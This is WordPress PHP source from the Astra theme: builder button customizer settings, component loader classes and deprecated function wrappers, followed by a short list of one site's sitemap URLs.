'default' => astra_get_option( $builder_type . '-' . $_prefix . '-back-color' ),
'transport' => 'postMessage',
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
'section' => $_section,
'tab' => __( 'Normal', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 10,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Normal', 'astra' ),
),
/**
* Option: Button Button Hover Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-back-h-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-back-h-color' ),
'transport' => 'postMessage',
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
'section' => $_section,
'tab' => __( 'Hover', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 10,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Hover', 'astra' ),
),
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
'type' => 'control',
'control' => 'ast-color-group',
'title' => __( 'Border Color', 'astra' ),
'section' => $_section,
'priority' => 70,
'transport' => 'postMessage',
'context' => Astra_Builder_Helper::$design_tab,
'responsive' => true,
'divider' => array( 'ast_class' => 'ast-bottom-divider' ),
),
/**
* Option: Button Border Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-border-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-color' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
'transport' => 'postMessage',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Normal', 'astra' ),
),
/**
* Option: Button Border Hover Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-border-h-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-h-color' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-builder-button-border-colors-group]',
'transport' => 'postMessage',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Hover', 'astra' ),
),
/**
* Option: Button Border Size
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-size]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-size' ),
'type' => 'control',
'section' => $_section,
'control' => 'ast-border',
'transport' => 'postMessage',
'linked_choices' => true,
'priority' => 99,
'title' => __( 'Border Width', 'astra' ),
'context' => Astra_Builder_Helper::$design_tab,
'choices' => array(
'top' => __( 'Top', 'astra' ),
'right' => __( 'Right', 'astra' ),
'bottom' => __( 'Bottom', 'astra' ),
'left' => __( 'Left', 'astra' ),
),
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
/**
* Option: Button Radius Fields
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-border-radius-fields]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-border-radius-fields' ),
'type' => 'control',
'control' => 'ast-responsive-spacing',
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ),
'section' => $_section,
'title' => __( 'Border Radius', 'astra' ),
'linked_choices' => true,
'transport' => 'postMessage',
'unit_choices' => array( 'px', 'em', '%' ),
'choices' => array(
'top' => __( 'Top', 'astra' ),
'right' => __( 'Right', 'astra' ),
'bottom' => __( 'Bottom', 'astra' ),
'left' => __( 'Left', 'astra' ),
),
'priority' => 99,
'context' => Astra_Builder_Helper::$design_tab,
'connected' => false,
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
/**
* Option: Primary Header Button Typography
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-typography' ),
'type' => 'control',
'control' => 'ast-settings-group',
'title' => __( 'Font', 'astra' ),
'section' => $_section,
'transport' => 'postMessage',
'context' => Astra_Builder_Helper::$design_tab,
'priority' => 90,
),
/**
* Option: Primary Header Button Font Family
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-family',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-family' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-font',
'font_type' => 'ast-font-family',
'title' => __( 'Font Family', 'astra' ),
'context' => Astra_Builder_Helper::$general_tab,
'connect' => $builder_type . '-' . $_prefix . '-font-weight',
'priority' => 1,
'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ),
),
/**
* Option: Primary Footer Button Font Weight
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-weight',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-weight' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-font',
'font_type' => 'ast-font-weight',
'title' => __( 'Font Weight', 'astra' ),
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ),
'connect' => $builder_type . '-' . $_prefix . '-font-family',
'priority' => 2,
'context' => Astra_Builder_Helper::$general_tab,
'divider' => array( 'ast_class' => 'ast-sub-bottom-dotted-divider' ),
),
/**
* Option: Primary Header Button Font Size
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-size',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-font-size' ),
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'transport' => 'postMessage',
'title' => __( 'Font Size', 'astra' ),
'type' => 'sub-control',
'section' => $_section,
'control' => 'ast-responsive-slider',
'priority' => 3,
'context' => Astra_Builder_Helper::$general_tab,
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ),
'suffix' => array( 'px', 'em', 'vw', 'rem' ),
'input_attrs' => array(
'px' => array(
'min' => 0,
'step' => 1,
'max' => 200,
),
'em' => array(
'min' => 0,
'step' => 0.01,
'max' => 20,
),
'vw' => array(
'min' => 0,
'step' => 0.1,
'max' => 25,
),
'rem' => array(
'min' => 0,
'step' => 0.1,
'max' => 20,
),
),
),
/**
* Option: Primary Footer Button Font Extras
*/
array(
'name' => $builder_type . '-' . $_prefix . '-font-extras',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-typography]',
'section' => $_section,
'type' => 'sub-control',
'control' => 'ast-font-extras',
'priority' => 5,
'default' => astra_get_option( 'breadcrumb-font-extras' ),
'context' => Astra_Builder_Helper::$general_tab,
'title' => __( 'Font Extras', 'astra' ),
),
);
if ( 'footer' === $builder_type ) {
$button_config[] = array(
array(
'name' => ASTRA_THEME_SETTINGS . '[footer-button-' . $index . '-alignment]',
'default' => astra_get_option( 'footer-button-' . $index . '-alignment' ),
'type' => 'control',
'control' => 'ast-selector',
'section' => $_section,
'priority' => 35,
'title' => __( 'Alignment', 'astra' ),
'context' => Astra_Builder_Helper::$general_tab,
'transport' => 'postMessage',
'choices' => array(
'flex-start' => 'align-left',
'center' => 'align-center',
'flex-end' => 'align-right',
),
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
);
}
$button_config[] = Astra_Builder_Base_Configuration::prepare_visibility_tab( $_section, $builder_type );
$button_config[] = Astra_Extended_Base_Configuration::prepare_advanced_tab( $_section );
}
$button_config = call_user_func_array( 'array_merge', $button_config + array( array() ) );
$configurations = array_merge( $configurations, $button_config );
return $configurations;
}
}
/**
* Kicking this off by creating object of this class.
*/
new Astra_Button_Component_Configs();/**
* Off Canvas.
*
* @package astra-builder
* @author Brainstorm Force
* @copyright Copyright (c) 2020, Brainstorm Force
* @link https://www.brainstormforce.com
* @since 3.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
define( 'ASTRA_OFF_CANVAS_DIR', ASTRA_THEME_DIR . 'inc/builder/type/header/off-canvas' );
define( 'ASTRA_OFF_CANVAS_URI', ASTRA_THEME_URI . 'inc/builder/type/header/off-canvas' );
/**
* Off Canvas Initial Setup
*
* @since 3.0.0
*/
class Astra_Off_Canvas {
/**
* Constructor function that initializes required actions and hooks.
*/
public function __construct() {
// @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
require_once ASTRA_OFF_CANVAS_DIR . '/class-astra-off-canvas-loader.php';
// Include front end files.
if ( ! is_admin() || Astra_Builder_Customizer::astra_collect_customizer_builder_data() ) {
require_once ASTRA_OFF_CANVAS_DIR . '/dynamic-css/dynamic.css.php';
}
// @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
}
}
/**
* Kicking this off by creating an object.
*/
new Astra_Off_Canvas();/**
* HTML component.
*
* @package Astra Builder
* @author Brainstorm Force
* @copyright Copyright (c) 2020, Brainstorm Force
* @link https://www.brainstormforce.com
* @since Astra 3.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
define( 'ASTRA_HEADER_HTML_DIR', ASTRA_THEME_DIR . 'inc/builder/type/header/html' );
define( 'ASTRA_HEADER_HTML_URI', ASTRA_THEME_URI . 'inc/builder/type/header/html' );
/**
* Heading Initial Setup
*
* @since 3.0.0
*/
class Astra_Header_Html_Component {
/**
* Constructor function that initializes required actions and hooks
*/
public function __construct() {
// @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
require_once ASTRA_HEADER_HTML_DIR . '/class-astra-header-html-component-loader.php';
// Include front end files.
if ( ! is_admin() || Astra_Builder_Customizer::astra_collect_customizer_builder_data() ) {
require_once ASTRA_HEADER_HTML_DIR . '/dynamic-css/dynamic.css.php';
}
// @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
}
}
/**
* Kicking this off by creating an object.
*/
new Astra_Header_Html_Component();/**
* WIDGET component.
*
* @package Astra Builder
* @author Brainstorm Force
* @copyright Copyright (c) 2020, Brainstorm Force
* @link https://www.brainstormforce.com
* @since Astra 3.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
define( 'ASTRA_BUILDER_HEADER_WIDGET_DIR', ASTRA_THEME_DIR . 'inc/builder/type/header/widget' );
define( 'ASTRA_BUILDER_HEADER_WIDGET_URI', ASTRA_THEME_URI . 'inc/builder/type/header/widget' );
/**
* Heading Initial Setup
*
* @since 3.0.0
*/
class Astra_Header_Widget_Component {
/**
* Constructor function that initializes required actions and hooks
*/
public function __construct() {
// @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
require_once ASTRA_BUILDER_HEADER_WIDGET_DIR . '/class-astra-header-widget-component-loader.php';
// Include front end files.
if ( ! is_admin() || Astra_Builder_Customizer::astra_collect_customizer_builder_data() ) {
require_once ASTRA_BUILDER_HEADER_WIDGET_DIR . '/dynamic-css/dynamic.css.php';
}
// @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
}
}
/**
* Kicking this off by creating an object.
*/
new Astra_Header_Widget_Component();/**
* Mobile Navigation Menu Styling Loader for Astra theme.
*
* @package Astra Builder
* @author Brainstorm Force
* @copyright Copyright (c) 2020, Brainstorm Force
* @link https://www.brainstormforce.com
* @since Astra 3.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Mobile Navigation Menu Initialization
*
* @since 3.0.0
*/
class Astra_Mobile_Menu_Component_Loader {
/**
* Constructor
*
* @since 3.0.0
*/
public function __construct() {
add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 );
}
/**
* Customizer Preview
*
* @since 3.0.0
*/
public function preview_scripts() {
/**
* Load unminified if SCRIPT_DEBUG is true.
*/
/* Directory and Extension */
$dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified';
$file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min';
wp_enqueue_script( 'astra-mobile-menu-customizer-preview', ASTRA_BUILDER_MOBILE_MENU_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true );
}
}
/**
* Kicking this off by creating the object of the class.
*/
new Astra_Mobile_Menu_Component_Loader();/**
* Above Footer Styling Loader for Astra theme.
*
* @package Astra Builder
* @author Brainstorm Force
* @copyright Copyright (c) 2020, Brainstorm Force
* @link https://www.brainstormforce.com
* @since Astra 3.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Above Footer Initialization
*
* @since 3.0.0
*/
class Astra_Above_Footer_Component_Loader {
/**
* Constructor
*
* @since 3.0.0
*/
public function __construct() {
add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 );
}
/**
* Customizer Preview
*
* @since 3.0.0
*/
public function preview_scripts() {
/**
* Load unminified if SCRIPT_DEBUG is true.
*/
/* Directory and Extension */
$dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified';
$file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min';
wp_enqueue_script( 'astra-footer-above-customizer-preview-js', ASTRA_BUILDER_FOOTER_ABOVE_FOOTER_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true );
}
}
/**
* Kicking this off by creating the object of the class.
*/
new Astra_Above_Footer_Component_Loader();/**
* WIDGET Styling Loader for Astra theme.
*
* @package Astra Builder
* @author Brainstorm Force
* @copyright Copyright (c) 2020, Brainstorm Force
* @link https://www.brainstormforce.com
* @since Astra 3.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Customizer Initialization
*
* @since 3.0.0
*/
class Astra_Footer_Widget_Component_Loader {
/**
* Constructor
*
* @since 3.0.0
*/
public function __construct() {
add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 );
}
/**
* Customizer Preview
*
* @since 3.0.0
*/
public function preview_scripts() {
/**
* Load unminified if SCRIPT_DEBUG is true.
*/
/* Directory and Extension */
$dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified';
$file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min';
wp_enqueue_script( 'astra-footer-widget-customizer-preview-js', ASTRA_BUILDER_FOOTER_WIDGET_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true );
// Localize variables for WIDGET JS.
wp_localize_script(
'astra-footer-widget-customizer-preview-js',
'AstraBuilderWidgetData',
array(
'footer_widget_count' => defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_footer_widgets,
'tablet_break_point' => astra_get_tablet_breakpoint(),
'mobile_break_point' => astra_get_mobile_breakpoint(),
'is_flex_based_css' => Astra_Builder_Helper::apply_flex_based_css(),
'has_block_editor' => astra_has_widgets_block_editor(),
)
);
}
}
/**
* Kicking this off by creating the object of the class.
*/
new Astra_Footer_Widget_Component_Loader();/**
* Deprecated Functions of Astra Theme.
*
* @package Astra
* @author Astra
* @copyright Copyright (c) 2020, Astra
* @link https://wpastra.com/
* @since Astra 1.0.23
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Deprecating footer_menu_static_css function.
*
* Footer menu specific static CSS function.
*
* @since 3.7.4
* @deprecated footer_menu_static_css() Use astra_footer_menu_static_css()
* @see astra_footer_menu_static_css()
*
* @return string Parsed CSS
*/
function footer_menu_static_css() {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_footer_menu_static_css()' );
return astra_footer_menu_static_css();
}
/**
* Deprecating is_support_footer_widget_right_margin function.
*
* Backward managing function based on flag - 'support-footer-widget-right-margin' which fixes right margin issue in builder widgets.
*
* @since 3.7.4
* @deprecated is_support_footer_widget_right_margin() Use astra_support_footer_widget_right_margin()
* @see astra_support_footer_widget_right_margin()
*
* @return bool true|false
*/
function is_support_footer_widget_right_margin() {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_support_footer_widget_right_margin()' );
return astra_support_footer_widget_right_margin();
}
/**
* Deprecating prepare_button_defaults function.
*
* Default configurations for builder button components.
*
* @since 3.7.4
* @deprecated prepare_button_defaults() Use astra_prepare_button_defaults()
* @param array $defaults Button default configs.
* @param string $index builder button component index.
* @see astra_prepare_button_defaults()
*
* @return array
*/
function prepare_button_defaults( $defaults, $index ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_button_defaults()' );
return astra_prepare_button_defaults( $defaults, absint( $index ) );
}
/**
* Deprecating prepare_html_defaults function.
*
* Default configurations for builder HTML components.
*
* @since 3.7.4
* @deprecated prepare_html_defaults() Use astra_prepare_html_defaults()
* @param array $defaults HTML default configs.
* @param string $index builder HTML component index.
* @see astra_prepare_html_defaults()
*
* @return array
*/
function prepare_html_defaults( $defaults, $index ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_html_defaults()' );
return astra_prepare_html_defaults( $defaults, absint( $index ) );
}
/**
* Deprecating prepare_social_icon_defaults function.
*
* Default configurations for builder Social Icon components.
*
* @since 3.7.4
* @deprecated prepare_social_icon_defaults() Use astra_prepare_social_icon_defaults()
* @param array $defaults Social Icon default configs.
* @param string $index builder Social Icon component index.
* @see astra_prepare_social_icon_defaults()
*
* @return array
*/
function prepare_social_icon_defaults( $defaults, $index ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_social_icon_defaults()' );
return astra_prepare_social_icon_defaults( $defaults, absint( $index ) );
}
/**
* Deprecating prepare_widget_defaults function.
*
* Default configurations for builder Widget components.
*
* @since 3.7.4
* @deprecated prepare_widget_defaults() Use astra_prepare_widget_defaults()
* @param array $defaults Widget default configs.
* @param string $index builder Widget component index.
* @see astra_prepare_widget_defaults()
*
* @return array
*/
function prepare_widget_defaults( $defaults, $index ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_widget_defaults()' );
return astra_prepare_widget_defaults( $defaults, absint( $index ) );
}
/**
* Deprecating prepare_menu_defaults function.
*
* Default configurations for builder Menu components.
*
* @since 3.7.4
* @deprecated prepare_menu_defaults() Use astra_prepare_menu_defaults()
* @param array $defaults Menu default configs.
* @param string $index builder Menu component index.
* @see astra_prepare_menu_defaults()
*
* @return array
*/
function prepare_menu_defaults( $defaults, $index ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_menu_defaults()' );
return astra_prepare_menu_defaults( $defaults, absint( $index ) );
}
/**
* Deprecating prepare_divider_defaults function.
*
* Default configurations for builder Divider components.
*
* @since 3.7.4
* @deprecated prepare_divider_defaults() Use astra_prepare_divider_defaults()
* @param array $defaults Divider default configs.
* @param string $index builder Divider component index.
* @see astra_prepare_divider_defaults()
*
* @return array
*/
function prepare_divider_defaults( $defaults, $index ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_divider_defaults()' );
return astra_prepare_divider_defaults( $defaults, absint( $index ) );
}
/**
* Deprecating is_astra_pagination_enabled function.
*
* Checking if Astra's pagination enabled.
*
* @since 3.7.4
* @deprecated is_astra_pagination_enabled() Use astra_check_pagination_enabled()
* @see astra_check_pagination_enabled()
*
* @return bool true|false
*/
function is_astra_pagination_enabled() {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_check_pagination_enabled()' );
return astra_check_pagination_enabled();
}
/**
* Deprecating is_current_post_comment_enabled function.
*
* Checking if current post's comment enabled and comment section is open.
*
* @since 3.7.4
* @deprecated is_current_post_comment_enabled() Use astra_check_current_post_comment_enabled()
* @see astra_check_current_post_comment_enabled()
*
* @return bool true|false
*/
function is_current_post_comment_enabled() {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_check_current_post_comment_enabled()' );
return astra_check_current_post_comment_enabled();
}
/**
* Deprecating ast_load_preload_local_fonts function.
*
* Preload Google Fonts - Feature of self-hosting font.
*
* @since 3.7.4
* @deprecated ast_load_preload_local_fonts() Use astra_load_preload_local_fonts()
* @param string $google_font_url Google Font URL generated by customizer config.
* @see astra_load_preload_local_fonts()
*
* @return string
*/
function ast_load_preload_local_fonts( $google_font_url ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_load_preload_local_fonts()' );
return astra_load_preload_local_fonts( $google_font_url );
}
/**
* Deprecating ast_get_webfont_url function.
*
* Getting webfont based Google font URL.
*
* @since 3.7.4
* @deprecated ast_get_webfont_url() Use astra_get_webfont_url()
* @param string $google_font_url Google Font URL generated by customizer config.
* @see astra_get_webfont_url()
*
* @return string
*/
function ast_get_webfont_url( $google_font_url ) {
_deprecated_function( __FUNCTION__, '3.7.4', 'astra_get_webfont_url()' );
return astra_get_webfont_url( $google_font_url );
}
https://unitedpixcreations.com/post-sitemap.xml
2025-06-12T00:40:32+00:00
https://unitedpixcreations.com/page-sitemap.xml
2025-06-11T13:08:01+00:00
https://unitedpixcreations.com/pp_video_block-sitemap.xml
2024-07-29T05:50:31+00:00
https://unitedpixcreations.com/elementor-hf-sitemap.xml
2024-08-13T10:35:52+00:00
https://unitedpixcreations.com/category-sitemap.xml
2025-06-12T00:40:32+00:00
https://unitedpixcreations.com/author-sitemap.xml
2025-06-12T00:40:14+00:00